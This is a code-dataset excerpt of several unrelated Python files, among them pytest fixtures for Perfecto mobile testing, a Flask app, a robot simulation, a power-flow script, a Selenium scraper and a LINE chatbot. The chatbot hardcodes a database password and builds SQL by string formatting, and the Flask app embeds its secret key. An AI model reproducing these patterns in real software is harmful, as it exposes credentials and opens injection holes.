'useAppiumForHybrid' : 'false',\n #'bundleId' : request.config.getini(\"appPackage-android\"),\n }\n\n driver = webdriver.Remote('https://'+request.config.getini(\"perfectoURL\")+'.perfectomobile.com/nexperience/perfectomobile/wd/hub', capabilities)\n driver.implicitly_wait(35)\n\n TestCaseFullName = os.environ.get('PYTEST_CURRENT_TEST').split(':')[-1].split(' ')[0]\n nCurrentTestMethodNameSplit = re.sub(r'\\[.*?\\]\\ *', \"\", TestCaseFullName)\n try:\n #TestCaseName = nCurrentTestMethodNameSplit.removeprefix('test_')\n TestCaseName = nCurrentTestMethodNameSplit.replace('test_', '')\n print (\"\\n\\nExecuting TestCase: \" + TestCaseName)\n except Exception as e:\n TestCaseName = nCurrentTestMethodNameSplit\n print(\"\\nUpgrade Python to 3.9 to avoid test_ string in your test case name, see below URL\")\n #print(\"https://www.andreagrandi.it/2020/10/11/python39-introduces-removeprefix-removesuffix/\")\n\n projectname = request.config.getini(\"projectName\")\n projectversion = request.config.getini(\"projectVersion\")\n jobname = request.config.getini(\"jobName\")\n jobnumber = request.config.getini(\"jobNumber\")\n tags = request.config.getini(\"reportTags\")\n testCaseName = TestCaseName\n\n #print(\"\\nSetting Perfecto ReportClient....\")\n perfecto_execution_context = PerfectoExecutionContext(driver, tags, Job(jobname, jobnumber),Project(projectname, projectversion))\n reporting_client = PerfectoReportiumClient(perfecto_execution_context)\n reporting_client.test_start(testCaseName, TestContext([], \"Perforce\"))\n reportClient(reporting_client)\n\n def teardown():\n try:\n print(\"\\n---------- Tear Down ----------\")\n print('Report-Url: ' + reporting_client.report_url())\n print(\"----------------------------------------------------------\\n\\n\\n\\n\")\n driver.close()\n except Exception as e:\n print(\" -- Exception While Tear Down --\")\n driver.close()\n print (e)\n finally:\n try:\n driver.quit()\n except Exception as e:\n print(\" -- Exception Not Able To Quit --\")\n print (e)\n\n request.addfinalizer(teardown)\n\n if driver is None:\n yield -1\n else:\n yield driver,reporting_client\n\ndef reportClient(value):\n global reporting_client # declare a to be a global\n reporting_client = value # this sets the global value of a\n\ndef reportPerfecto(testCaseName, testCaseStatus, testErrorMsg, reportURL):\n global testCaseNameList # declare a to be a global\n global testCaseStatusList\n global testCaseErrorMsg\n global testCaseReportURL\n\n testCaseNameList.append(testCaseName)\n testCaseStatusList.append(testCaseStatus)\n testCaseErrorMsg.append(str(testErrorMsg))\n testCaseReportURL.append(reportURL)\n\n@pytest.fixture(scope=\"class\")\ndef setup_perfectoMobileWeb(request):\n from selenium import webdriver\n rdriver = None\n reporting_client = None\n\n warnings.simplefilter(\"ignore\", ResourceWarning)\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n capabilities = {\n 'platformName': request.config.getini(\"platformName-iOS\"),\n 'model': request.config.getini(\"model-iOS\"),\n 'browserName': request.config.getini(\"browserType-iOS\"),\n 'securityToken' : request.config.getini(\"securityToken\"),\n }\n\n rdriver = webdriver.Remote('https://'+request.config.getini(\"perfectoURL\")+'.perfectomobile.com/nexperience/perfectomobile/wd/hub', capabilities)\n rdriver.implicitly_wait(35)\n\n projectname = request.config.getini(\"projectName\")\n projectversion = request.config.getini(\"projectVersion\")\n jobname = request.config.getini(\"jobName\")\n jobnumber = request.config.getini(\"jobNumber\")\n tags = request.config.getini(\"reportTags\")\n testCaseName = request.config.getini(\"jobName\")\n\n print(\"Setting Perfecto ReportClient....\")\n perfecto_execution_context = PerfectoExecutionContext(rdriver, tags, Job(jobname, jobnumber),Project(projectname, projectversion))\n reporting_client = PerfectoReportiumClient(perfecto_execution_context)\n reporting_client.test_start(testCaseName, TestContext([], \"Perforce\"))\n\n def teardown():\n try:\n print(\" -- Tear Down --\")\n reporting_client.test_stop(TestResultFactory.create_success())\n print('Report-Url: ' + reporting_client.report_url() + '\\n')\n rdriver.close()\n except Exception as e:\n print(\" -- Exception Not Able To close --\")\n print (e.message)\n finally:\n try:\n rdriver.quit()\n except Exception as e:\n print(\" -- Exception Not Able To Quit --\")\n print (e.message)\n\n request.addfinalizer(teardown)\n\n if rdriver is None:\n yield -1\n else:\n yield rdriver,reporting_client\n\n@pytest.fixture(scope=\"function\")\ndef setup_perfectoMobile_iOS(request):\n from appium import webdriver\n driver = None\n reporting_client = None\n\n warnings.simplefilter(\"ignore\", ResourceWarning)\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n capabilities = {\n 'platformName': request.config.getini(\"platformName-iOS\"),\n 'model': request.config.getini(\"model-iOS\"),\n 'browserName': 'safari',\n #'automationName' : 'Appium',\n 'securityToken' : request.config.getini(\"securityToken\"),\n 'useAppiumForWeb' : 'false',\n 'autoAcceptAlerts' : 'true',\n #'bundleId' : request.config.getini(\"bundleId-iOS\"),\n 'useAppiumForHybrid' : 'false',\n }\n\n driver = webdriver.Remote('https://'+request.config.getini(\"perfectoURL\")+'.perfectomobile.com/nexperience/perfectomobile/wd/hub', capabilities)\n driver.implicitly_wait(35)\n\n TestCaseFullName = os.environ.get('PYTEST_CURRENT_TEST').split(':')[-1].split(' ')[0]\n nCurrentTestMethodNameSplit = re.sub(r'\\[.*?\\]\\ *', \"\", TestCaseFullName)\n try:\n #TestCaseName = nCurrentTestMethodNameSplit.removeprefix('test_')\n TestCaseName = nCurrentTestMethodNameSplit.replace('test_', '')\n print (\"\\n\\nExecuting TestCase: \" + TestCaseName)\n except Exception as e:\n TestCaseName = nCurrentTestMethodNameSplit\n print(\"\\nUpgrade Python to 3.9 to avoid test_ string in your test case name, see below URL\")\n #print(\"https://www.andreagrandi.it/2020/10/11/python39-introduces-removeprefix-removesuffix/\")\n\n projectname = request.config.getini(\"projectName\")\n projectversion = request.config.getini(\"projectVersion\")\n jobname = request.config.getini(\"jobName\")\n jobnumber = request.config.getini(\"jobNumber\")\n tags = request.config.getini(\"reportTags\")\n testCaseName = TestCaseName\n\n print(\"\\nSetting Perfecto ReportClient....\")\n perfecto_execution_context = PerfectoExecutionContext(driver, tags, Job(jobname, jobnumber),Project(projectname, projectversion))\n reporting_client = PerfectoReportiumClient(perfecto_execution_context)\n reporting_client.test_start(testCaseName, TestContext([], \"Perforce\"))\n reportClient(reporting_client)\n\n def teardown():\n try:\n print(\"\\n---------- Tear Down ----------\")\n print('Report-Url: ' + reporting_client.report_url())\n print(\"----------------------------------------------------------\\n\\n\\n\\n\")\n driver.close()\n except Exception as e:\n print(\" -- Exception While Tear Down --\")\n driver.close()\n print (e)\n finally:\n try:\n driver.quit()\n except Exception as e:\n print(\" -- Exception Not Able To Quit --\")\n print (e)\n\n request.addfinalizer(teardown)\n\n if driver is None:\n yield -1\n else:\n yield driver,reporting_client\n\n","sub_path":"tests/e2e/interOp/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":42926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"161417673","text":"author = 'yt'\n#from .manager import create_app\nfrom flask import current_app\nfrom .common import create_app\nfrom .extensions import register_extensions\nfrom .config import DefaultConfig\n#from flask_login import LoginManager\n\ndef configure_secrets(app):\n with open(app.config['PRIV_KEY']) as f:\n app.config['priv_key'] = f.read()\n with open(app.config['PUB_KEY']) as f:\n app.config['pub_key'] = f.read()\n\napp = create_app(name='gateway',conf=DefaultConfig,extensions=register_extensions)\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\nconfigure_secrets(app)\n# set the secret key. keep this really secret:\n#app.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\n#login_manager = LoginManager()\n#login_manager.init_app(app\n#register_regexp(app)\n#app.url_map.converters['regex'] = RegexConverter\n#import pdb; pdb.set_trace()\n\n\n#with app.app_context():\n# print(\"AppName2:%s\" % app.name)\n\n@app.route('/temp')\ndef temp():\n return 'temp'\n\n@app.route('/-/')\ndef example(uid, slug):\n return \"uid: %s, slug: %s\" % (uid, slug)\n\n@app.route('/-end')\ndef ytest(arg):\n print(\"ytest arg:%s\" % arg)\n return (\"ytest arg:%s\" % arg)\n","sub_path":"python/Web/flask/ytmicro/gateway/main/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"91355628","text":"import json\nimport os\nimport importlib\nimport argparse\nimport datetime\nimport subprocess\nimport numpy as np\nimport time\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--gpu_ids\", nargs=\"+\", type=int, default=None, help=\"gpu id\")\n parser.add_argument(\n \"--kwargs_path\", type=str, default=None, help=\"kwargs for the classifier\"\n )\n\n args = vars(parser.parse_args())\n\n nvals = 1001\n search_params = {}\n # search_params[\"lambda1_vals\"] = [1E-2, 5E-3, 1E-3, 5E-4, 1E-4, 5E-5, 1E-5, 5E-6, 1E-6,]\n search_params[\"lambda1_vals\"] = list(np.linspace(0, 1e-2, 10000))\n search_params[\"lambda2_vals\"] = [1]\n\n # search_params[\"alpha1_vals\"] = [1E-3, 5E-4, 1E-4, 5E-5, 1E-5]\n search_params[\"alpha1_vals\"] = [1e-4]\n search_params[\"alpha2_vals\"] = [0]\n\n # save the search params to the parent directory\n with open(args[\"kwargs_path\"], \"rb\") as f:\n kwargs = json.load(f)\n\n if not os.path.exists(kwargs[\"save_parent\"]):\n os.makedirs(kwargs[\"save_parent\"])\n\n args_path = \"{0}/search_params.json\".format(kwargs[\"save_parent\"])\n with open(args_path, \"w\") as f:\n json.dump(search_params, f, indent=4, sort_keys=True)\n\n for i in range(1000):\n\n np.random.seed(int(time.time()))\n\n lambda1 = float(np.random.choice(search_params[\"lambda1_vals\"]))\n lambda2 = float(np.random.choice(search_params[\"lambda2_vals\"]))\n alpha1 = float(np.random.choice(search_params[\"alpha1_vals\"]))\n alpha2 = float(np.random.choice(search_params[\"alpha2_vals\"]))\n\n if os.path.exists(args[\"kwargs_path\"]):\n with open(args[\"kwargs_path\"], \"rb\") as f:\n kwargs = json.load(f)\n\n kwargs[\"kwargs_path\"] = args[\"kwargs_path\"]\n kwargs[\"gpu_ids\"] = args[\"gpu_ids\"]\n\n kwargs[\"trainer_kwargs\"][\"kwargs\"][\"lambda1\"] = lambda1\n kwargs[\"trainer_kwargs\"][\"kwargs\"][\"lambda2\"] = lambda2\n kwargs[\"trainer_kwargs\"][\"kwargs\"][\"alpha1\"] = alpha1\n kwargs[\"trainer_kwargs\"][\"kwargs\"][\"alpha2\"] = alpha2\n\n the_time = datetime.datetime.now().strftime(\"%Y-%m-%d-%H:%M:%S\")\n kwargs[\"save_dir\"] = os.path.join(kwargs[\"save_parent\"], the_time)\n kwargs.pop(\"save_parent\")\n\n if not os.path.exists(kwargs[\"save_dir\"]):\n os.makedirs(kwargs[\"save_dir\"])\n\n kwargs[\"git_commit\"] = str(\n subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"])\n )\n\n args_path = \"{0}/input.json\".format(kwargs[\"save_dir\"])\n with open(args_path, \"w\") as f:\n json.dump(kwargs, f, indent=4, sort_keys=True)\n\n # pop off all of the info that shouldn't go into the main function\n if \"git_commit\" in kwargs:\n kwargs.pop(\"git_commit\")\n\n kwargs.pop(\"kwargs_path\")\n\n # load whatever function you want to run\n main_function = importlib.import_module(kwargs[\"main_function\"])\n kwargs.pop(\"main_function\")\n\n print(kwargs)\n\n # run it\n main_function.run(**kwargs)\n","sub_path":"main_dfs_search.py","file_name":"main_dfs_search.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"61146790","text":"import pybullet as p\nimport time\nimport math\nimport numpy as np\nfrom datetime import datetime\nfrom datetime import datetime\nimport pybullet_data\nimport cv2\n\nclid = p.connect(p.SHARED_MEMORY)\n\n\nif (clid < 0):\n p.connect(p.GUI)\np.setAdditionalSearchPath(pybullet_data.getDataPath())\np.loadURDF(\"plane.urdf\", [0, 0, -0.1])\np.loadURDF(\"aruco.urdf\", [-1, 0, 0.2])\nhusky = p.loadURDF(\"wheeltec.urdf\")\nfor i in range(p.getNumJoints(husky)):\n print(p.getJointInfo(husky, i))\nuseSimulation = 0\nuseRealTimeSimulation = 1\np.setRealTimeSimulation(useRealTimeSimulation)\nwheels = [0,1,2,3]\nwheelVelocities = [0, 0, 0, 0]\nwheelDeltasTurn = [1, -1, 1, -1]\nwheelDeltasFwd = [1, 1, 1, 1]\nang = 0\np.setGravity(0, 0, -10)\n\nfov = 60\naspect = 320/180\nnear = 0.02\nfar = 5\n\nangle = 0.0;\nprevPose = [0, 0, 0]\nprevPose_view = [0, 0, 0]\nwhile 1:\n keys = p.getKeyboardEvents()\n #print(keys)\n shift = 0.01\n wheelVelocities = [0, 0, 0, 0]\n speed = 5.0\n #print(wheelVelocities)\n temp_pose = p.getBasePositionAndOrientation(husky)\n now_xyz = temp_pose[0];\n now_orn = np.reshape(p.getMatrixFromQuaternion(temp_pose[1]),(3,3));\n print(\"------------------\")\n print(\"x : \",now_xyz[0])\n print(\"y : \",now_xyz[1])\n print(\"z : \",now_xyz[2])\n print(\"------------------\")\n print(\"R : \",now_orn)\n cam_xyz = np.array(now_xyz)\n cam_xyz[0] = cam_xyz[0]\n cam_xyz[2] = cam_xyz[2]+0.2\n\n view_pos = np.matmul(now_orn,np.array([-0.001,0,0.0]).T)\n view_pos = np.array(view_pos+cam_xyz)\n p.addUserDebugLine(prevPose, now_xyz, [0, 0, 1], 5, 20)\n p.addUserDebugLine(prevPose_view, view_pos, [1, 0, 0], 5, 20)\n prevPose = now_xyz\n prevPose_view = view_pos\n print(view_pos)\n view_matrix = p.computeViewMatrix([cam_xyz[0],cam_xyz[1],cam_xyz[2]], view_pos, [0,0,1])\n projection_matrix = p.computeProjectionMatrixFOV(fov, aspect, near, far)\n images = p.getCameraImage(640,\n 480,\n view_matrix,\n projection_matrix,\n shadow=True,\n renderer=p.ER_BULLET_HARDWARE_OPENGL)\n print(images)\n img = cv2.cvtColor(np.array(images[2],dtype=np.uint8),cv2.COLOR_RGB2BGR)\n cv2.imshow(\"RGB\",img)\n cv2.waitKey(1)\n for k in keys:\n if ord('s') in keys:\n p.saveWorld(\"state.py\")\n if ord('a') in keys:\n basepos = basepos = [basepos[0], basepos[1] - shift, basepos[2]]\n if ord('d') in keys:\n basepos = basepos = [basepos[0], basepos[1] + shift, basepos[2]]\n if p.B3G_RIGHT_ARROW in keys:\n for i in range(len(wheels)):\n wheelVelocities[i] = wheelVelocities[i] - speed * wheelDeltasTurn[i]\n if p.B3G_LEFT_ARROW in keys:\n for i in range(len(wheels)):\n wheelVelocities[i] = wheelVelocities[i] + speed * wheelDeltasTurn[i]\n if p.B3G_UP_ARROW in keys:\n for i in range(len(wheels)):\n wheelVelocities[i] = wheelVelocities[i] + speed * wheelDeltasFwd[i]\n if p.B3G_DOWN_ARROW in keys:\n for i in range(len(wheels)):\n wheelVelocities[i] = wheelVelocities[i] - speed * wheelDeltasFwd[i]\n for i in range(len(wheels)):\n p.setJointMotorControl2(husky,\n wheels[i],\n p.VELOCITY_CONTROL,\n targetVelocity=wheelVelocities[i],\n force=1000)\n if (useRealTimeSimulation):\n t = time.time() #(dt, micro) = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f').split('.')\n #t = (dt.second/60.)*2.*math.pi\n else:\n t = t + 0.001\n","sub_path":"wheeltec_keyboard_camera.py","file_name":"wheeltec_keyboard_camera.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"561335599","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 22 20:08:01 2018\n \n@author: shamm\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\n\n\nlinear=np.array([0.95,0.98,1.02,1.05,1.02,1.05])\nno_deadband=np.array([0.95,1.00,1.00,1.05,1.0,1.05])\ncurved=np.array([0.95,0.98,1.02,1.05,1.05,1.1])\npower_factor=0.9\nreactivepowercontribution = math.tan(math.acos(power_factor))\n\n\n# breakpointlist=[linear,no_deadband,curved,linear,curved,curved]\n# breakpointlist=[linear,no_deadband,no_deadband,curved,no_deadband,no_deadband]\n# breakpointlist=[curved,curved,curved,curved,curved,curved]\n\nQmax = lambda Sout,Pout: np.sqrt(Sout**2 - Pout**2)\n\ndef MaxCollection(Smax):\n \n Pmax = Smax ** 2 / (1 + reactivepowercontribution ** 2)\n Pmax = np.sqrt(Pmax)\n return Pmax\n\ndef Pcurve(v,Pmax,setpoint):\n ### defines the Pcurve at various voltage points v given user specified inputs\n\n ##### VOLT-WATT POINTS\n vbreakp = setpoint[4]\n vmaxp = setpoint[5]\n\n v = np.array(v)\n P = np.zeros(v.shape)\n \n tmp = v <= vbreakp\n P[tmp] = Pmax\n \n tmp = (v > vbreakp) & (v <= vmaxp)\n P[tmp] = (vmaxp - v[tmp])/(vmaxp - vbreakp)*Pmax\n \n tmp = (v > vmaxp)\n P[tmp] = 0.0\n return P\n\ndef Qcurve(v,Smax,Pmax,setpoint):\n ### defines the Qcurve at various voltage points v given user specified inputs\n v = np.array(v)\n Q = np.zeros(v.shape)\n\n ##### VOLT-VAR POINTS\n vminq = setpoint[0]\n vdead1 = setpoint[1]\n vdead2 = setpoint[2]\n vmaxq = setpoint[3]\n\n ## points below vminq,\n tmp = v <= vminq\n Q[tmp] = Qmax(Smax,Pmax)\n \n ## linearly decrease Qinj between vminq and vdead1\n tmp = (v > vminq) & (v <= vdead1)\n Q[tmp] = (vdead1 - v[tmp])/(vdead1-vminq)*Qmax(Smax,Pcurve(v[tmp],Pmax,setpoint))\n \n ## zero in the dead-band\n if (vdead1==vdead2):\n tmp = (v >= vdead1) & (v <= vdead2)\n Q[tmp] = 0.0\n else:\n tmp = (v > vdead1) & (v <= vdead2)\n Q[tmp] = 0.0\n ## linearly decrease Qinj between vdead2 and vmaxq+\n tmp = (v > vdead2) & (v <= vmaxq)\n Q[tmp] = (vdead2 - v[tmp])/(vmaxq - vdead2)*Qmax(Smax,Pcurve(v[tmp],Pmax,setpoint))\n \n \n \n ## maintain the maximum (negative) injection given the watt injection at the given voltage\n tmp = v > vmaxq\n Q[tmp] = -Qmax(Smax,Pcurve(v[tmp],Pmax,setpoint))\n return Q\n\n\n# Network Information\nlineinfo=[0]\nnetworkset=set(lineinfo)\nnetworklist=[networkset]\nfor i in range(1,6):\n lineinfo.append(i)\n networkset = set(lineinfo)\n networklist.append(networkset)\n\n\n\n\nr=0.01\nx=0.01\n\nr=r*2\nx=x*2\n# First Node is the 0th node\nnodes=np.linspace(0,5,6)\nnumber_of_nodes=len(nodes)\nvslack=1.03\n#vslack=20\n\n# # Creating the Dictionary\nrarray={}\nrarray['01']=r\nrarray['12']=r\nrarray['23']=r\nrarray['34']=r\nrarray['45']=r\n\n\nxarray={}\nxarray['01']=x\nxarray['12']=x\nxarray['23']=x\nxarray['34']=x\nxarray['45']=x\n\n\n\n\nv=np.zeros(shape=(number_of_nodes))\npc=np.array([0,0.3,0.4,0.2,0.5,0.3])\nqc=np.array([0,0.8,0.2,0.3,0.1,0.2])\ngen_control=np.array([0,0,1,1,1,1])\nSmaxa=np.array([0,0,20,50,30,50])\nbreakpointlist=[linear,no_deadband,curved,linear,no_deadband,curved]\n\n\ntol=1e-4\niteration=300\nbasecase=0\nV=np.zeros(shape=(iteration,number_of_nodes))\nPower=np.zeros(shape=(iteration,2))\ninverterloc=np.where(gen_control>0.0)[0]\n\n\nV=np.zeros(shape=(iteration,number_of_nodes))\nPower=np.zeros(shape=(iteration,2))\nRealPower=np.zeros(shape=(iteration,number_of_nodes))\nReactivePower=np.zeros(shape=(iteration,number_of_nodes))\nprint('\\n')\nfor itr in range(0,iteration):\n #doing a flat run analysis without any PV penetration, only the first time\n if (itr>0):\n basecase=1\n for i in range(1, number_of_nodes):\n # print('\\n')\n # print('i:' + str(i)+'\\n')\n sumpq = 0\n \n for j in range(1, number_of_nodes):\n # print('j:' + str(j)+'\\n')\n Pmax = MaxCollection(Smaxa[j])\n Smax=Smaxa[j]\n # if (j>1):\n # print(Pmax, Smax)\n sumr=0\n sumx=0\n p = list(networklist[i] & networklist[j])\n for k in range(len(p)-1):\n sumr +=rarray[str(k)+str(k+1)]\n sumx += xarray[str(k) + str(k + 1)]\n sumpq=sumpq-pc[j]*sumr-qc[j]*sumx +basecase*gen_control[j]*Pcurve(v[j],Pmax,breakpointlist[j])/100*sumr+basecase*gen_control[j]*Qcurve(v[j],Smax,Pmax,breakpointlist[j])/100*sumx\n RealPower[itr,j]=gen_control[j]*Pcurve(v[j],Pmax,breakpointlist[j])\n ReactivePower[itr,j]=gen_control[j]*Qcurve(v[j],Smax,Pmax,breakpointlist[j])\n # if (gen_control[j] > 0):\n # Power[itr, 0] = Pcurve(v[j],Pmax)\n # Power[itr, 1] = Qcurve(v[j],Smax,Pmax)\n\n\n v[i] = vslack ** 2 + sumpq\n v[0] = vslack ** 2\n v=np.sqrt(v)\n V[itr, :] = v\n print('Iteration:', str(itr), ' ', str(v))\n if (itr>0):\n diffv=abs(V[itr,:]-V[itr-1,:])\n #diffv = abs(V[itr, inverterloc] - V[itr - 1, inverterloc])\n if (max(diffv)3d}: {1}\\n {2}\\n\".format(*each))\n\n\nif __name__==\"__main__\":\n \n l = List_all_files()\n l.lan = input('zh or en ? (zh)')\n l.text = input('输入搜索词:')\n l.search_text()\n l.print_result()\n\n quit = input('Press any button to quit.')\n","sub_path":"SearchText.py","file_name":"SearchText.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"69360633","text":"from flask import Flask\nfrom flask import render_template\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return 'Hello World'\n\n@app.route('/')\ndef retrieval(uid):\n title = \"title\"\n sub_title = [\"sub_title1\", \"sub_title2\"]\n layout = [True, False]\n head = [[('a','h11'), ('b','h12')], [('a','h21'), ('b','h22')]]\n items = [[{'a':1, 'b':2}, {'a':3, 'b':4}], [{'a':1, 'b':2}, {'a':3, 'b':4}]]\n return render_template('table.html', num=len(sub_title), title=title, sub_title=sub_title, layout=layout, head=head, items=items)\n","sub_path":"flask/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"398622661","text":"##\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.support.ui import Select\nimport pandas as pd\nimport datetime\nimport os\nimport logging\nos.chdir('/Users/andrea/PycharmProjects/Acqua/Veneto/Lta')\nlogging.basicConfig(level=logging.INFO)\noptions = webdriver.ChromeOptions()\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument('--incognito')\noptions.add_argument('--headless')\n#driver = webdriver.Chrome(\"D:\\EmporioADV\\chromedriver\", chrome_options=options)\ndriver = webdriver.Chrome(\"chromedriver\", options=options)\ndriver.get(\"https://www.cafcspa.com/solud/it-_qualita_acqua.cfm\")\n#print('Http status: ',page.status_code)\ndf = pd.read_csv('Definitions/LocationList.csv')\ncomuneList = [comune for comune in df['alias_city'].drop_duplicates()]\nreportList = pd.DataFrame()\nlogging.info( 'Start: %s', datetime.datetime.now() )\nfor k,comune in enumerate(comuneList):\n df_ = df[df['alias_city'] == comune]\n alias_addressList = df_['alias_address'].tolist()\n locationList = pd.DataFrame()\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n control_comuni = Select(driver.find_element_by_id('comuni'))\n control_comuni.select_by_visible_text(comune)\n for i,indirizzo in enumerate(alias_addressList):\n logging.info('Analyzing: %s (%s/%s) - %s (%s/%s).',comune,k+1,len(comuneList),indirizzo,i+1,len(alias_addressList))\n control_indirizzi = Select(driver.find_element_by_id('indirizzi'))\n control_indirizzi.select_by_visible_text(indirizzo)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n a = soup.find('a')\n urlrelativo = a.attrs['href']\n if urlrelativo == 'http://www.cafcspa.com':\n urlassoluto = ''\n else:\n urlassoluto = 'https://www.cafcspa.com/solud/' + urlrelativo\n\n row = {}\n row['alias_city'] = comune\n row['alias_address'] = indirizzo\n row['url'] = urlassoluto\n reportList = reportList.append(row,ignore_index=True)\n #print(soup.prettify())\n #tipologia fonte\n #fonte = soup.find(\"td\", text=\"Fonte :\")\n #tipo_fonte = fonte.parent.find('h5').get_text()\n #nome = soup.find(\"td\", text=\"Nome:\")\n #nome_fonte = nome.parent.find('h5').get_text()\n #url documento analisi\n #Scarica il certificato di analisi dell'acqua:\n \nreportList.to_csv('FriuliVeneziaGiulia/CAFC/Medadata/DataReportCollection.csv',index=False)\nlogging.info('Finish: %s',datetime.datetime.now())\nlogging.info('Report found: %s',len(reportList))\n\n","sub_path":"Veneto/Lta/2-ReportCollectionda cancellare.py","file_name":"2-ReportCollectionda cancellare.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"120706782","text":"from flask import Flask, request, abort\nimport os\nimport sys\nsys.path.append('./src')\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\nfrom linebot.models import (\n MessageEvent, TextMessage, TextSendMessage,\n)\n\nimport psycopg2\n\napp = Flask(__name__)\n\nline_bot_api = None\n\nif os.environ.get('ENVIRONMENT') == 'development':\n line_bot_api = LineBotApi(os.environ.get('CHANNEL_ACCESS_TOKEN'), 'http://localhost:8080')\nelse:\n line_bot_api = LineBotApi(os.environ.get('CHANNEL_ACCESS_TOKEN'))\n\nhandler = WebhookHandler(os.environ.get('CHANNEL_SECRET'))\n\n__import__('push').start()\n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n signature = request.headers['X-Line-Signature']\n body = request.get_data(as_text=True)\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n abort(400)\n\n return 'OK'\n\n@handler.add(MessageEvent, message=TextMessage)\n\ndef handle_message(event):\n map = {\n '災害': 'disaster',\n '預防': 'prevention',\n '檢測': 'detection',\n '交通': 'traffic',\n '歷史資料': 'history',\n '使用者': 'users',\n '推播': 'broadcast'\n }\n\n try:\n conn = psycopg2.connect(\n dbname=\"group5pg\", user=\"postgres\", host=\"hci.dianalab.net\", password=\"c8eccf33282708be620bb689dd54c2e8\", port=\"10715\"\n )\n cur = conn.cursor()\n query = \"insert into users values ('{}');\".format(event.source.user_id)\n cur.execute(query)\n conn.commit()\n conn.close()\n except Exception:\n print(Exception)\n\n try:\n spelate = ':' if event.message.text.find(':') != -1 else ':'\n split = event.message.text.split(spelate)\n position = event.message.text.find(spelate)\n\n request = event.message.text[position+1:]\n module = __import__(map[split[0]])\n\n #回傳一個message的物件集合 size between 1 and 5\n messageOBJ_array = module.reply(request)\n\n except:\n messageOBJ_array = TextSendMessage(text='請輸入符合的參數結構 ex 交通:火車')\n\n line_bot_api.reply_message(\n event.reply_token,\n messageOBJ_array\n )\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"635509837","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='ListEntry',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('item_name', models.CharField(max_length=50)),\n ('max_price', models.DecimalField(max_digits=5, decimal_places=2)),\n ('final_price', models.DecimalField(max_digits=5, decimal_places=2)),\n ('quantity', models.PositiveSmallIntegerField(default=1)),\n ('category', models.CharField(max_length=50)),\n ('status', models.SmallIntegerField(default=0, choices=[(0, b'Open'), (1, b'Locked'), (2, b'Fulfilled'), (3, b'Complete')])),\n ('deadline', models.DateTimeField(blank=True)),\n ('permissions', models.SmallIntegerField(default=1, choices=[(0, b'Self'), (1, b'Friends'), (2, b'Public')])),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Receipt',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('picture', models.ImageField(upload_to=b'')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='User',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('location', models.CharField(max_length=50)),\n ('email', models.EmailField(max_length=50)),\n ('venmo_id', models.CharField(max_length=40)),\n ('phone_number', models.CharField(max_length=20)),\n ('friends', models.ManyToManyField(related_name='friends_rel_+', to='shopforme.User')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='listentry',\n name='buyer',\n field=models.ForeignKey(to='shopforme.User'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='listentry',\n name='receipt',\n field=models.ForeignKey(to='shopforme.Receipt'),\n preserve_default=True,\n ),\n ]\n","sub_path":"shopforme/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"467002005","text":"'''Implementation of adjoint composite model'''\nfrom wolff.models.model import Model\nfrom wolff.adjoint.yang_reaction_constant import YangReactionConstant\nimport numpy as np\n\n\nclass YangCompositeModel(Model):\n def __init__(self, cfl_number=0.5, grid_predicted=None, grid_true=None):\n super(YangCompositeModel, 